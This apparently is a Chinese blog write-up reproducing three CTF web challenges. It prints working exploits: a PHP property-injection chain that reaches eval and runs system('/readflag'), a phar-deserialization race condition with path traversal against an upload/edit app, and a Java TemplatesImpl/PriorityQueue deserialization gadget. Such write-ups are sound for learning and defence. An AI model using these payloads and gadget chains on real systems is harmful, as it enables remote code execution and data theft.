WEB

上周末四场比赛,由于一开始MRCTF太坐牢了,一直在打DAS,周日调休满课(主要是在补作业)胖哈勃和网刃也都只看了一点,心累,忙里偷闲赶紧复现一下(

warmup-php

下载附件,有四个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){

$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}

new Action($action,$properties);
?>

通过传参实例化一个类,如果这个类当前不存在则通过spl_autoload_register包含类文件,通过properties给类里面的某些属性赋值,最后执行run方法

之后直接去审计class目录下的四个类,我们可以发现都没有构造方法(__construct),所以只能从run入手,然后在Base类中可以找到我们特别想调用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}

那么现在就要找最终可以调用到evaluateExpression方法的链子了

先去看ListView->run,调用到了renderContent,并通过renderSection方法对$this->template正则匹配操作,而renderSection判断正则匹配到的renderxxx是否存在方法,存在则直接调用该方法,之后就要去找可利用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}

public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}

protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}

可以在TeseView中发现可以利用的方法,并且这个类还继承了ListView

这里又要回到前面,我们需要调用到evaluateExpression,所以就直接去找可以调用到这个方法,找到renderTableRow,只要$this->rowHtmlOptionsExpression为我们的命令就可以直接执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 public function renderTableRow($row) // 这里我们使用第一个if语句调用,因为比较好利用
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}

……
}

public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";

if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
……
}

poc:

1
ListView#run->ListView#renderContent->LiseView#renderSection->renderTableBody->TestView#renderTableRow->Base#evaluateExpression

payload:

1
2
3
4
5
6
get:
action=TestView
post:
properties[rowHtmlOptionsExpression]=system('/readflag')
&properties[template]={TableBody}
&properties[data]=1

img

又又又又来复现了

soeasy_php

  • 条件竞争

有元素被隐藏了,直接去edit.php

img

png处存在任意文件读取漏洞

payload:

1
2
post:
png=../edit.php&flag=

然后查看uploads/head.png就可以得到源码(不过这个是看别的师傅的wp审计源码发现的,但不知道别的师傅是不是这样发现的:

edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}

function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}


if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}

if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}

upload.php

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};

重点还是要看edit.php

非预期:

简单审计一下:

1.第一个if语句ban掉了php协议和phar协议

2.第二个if语句通过symlink将我们传入的png与uplaod/head.png链接,导致可以任意文件读取

3.flag类的copyflag方法将根目录下的flag传到/tmp/flag.txt,并且使得www-data所有

因为存在类,而我们又想调用这个类的copyflag方法,而这个类在__destruct会自动调用,这里又没有明显的反序列化触发点,但又很多文件操作的函数,那就直接用phar协议吧

由于第一个if直接会正则匹配到phar,那就只能看后面了,本地测试之后发现可以利用unlink,所以现在要使得symlink($filename, $head)为flase就好了

phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}
$a = new flag();
$phar = new Phar("symlink.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

// phar://uploads/b143915ffb6ca6b19dff97b6a93389f0.png

上传之后,记录下文件的路径:

1
phar://uploads/b143915ffb6ca6b19dff97b6a93389f0.png

可以利用bp的intruder 条件竞争执行phar协议,用../edit.php测试的时候虽然成功了,并且我们也可以发现/uploads/head.png里面的内容也变成了edit.php的内容,但是由于想要得到/tmp/flag.txt内容的时候因为正则没有匹配到,直接判断文件里面存在flag,使得flag被覆盖了

所以我们可以构造..//../../../../../tmp/flag.txt//用于绕过正则匹配

img

听说这不是预期解,等之后学习一下

warmup-java

复现来啦……

学java有一段时间了,现在来看看欸嘿……

下载jar包,可以先看pom.xml,发现没有其他另外的依赖,再去看看类

emmmmm,和刚做过的lab9,一模一样,直接用那个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package lab9;

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import lab1.Utils;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.*;

public class Exp {
public static void setField(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{

String command = "calc";
final Object templates = Gadgets.createTemplatesImpl(command);

MyInvocationHandler handler = new MyInvocationHandler();
setField(handler, "type", Templates.class);
Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);

setField(priorityQueue, "queue", new Object[]{templates, 1});
setField(priorityQueue, "comparator", proxy);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
System.out.println(Utils.bytesTohexString(bos.toByteArray()));

}
}

Reference

atao

雪殇姐姐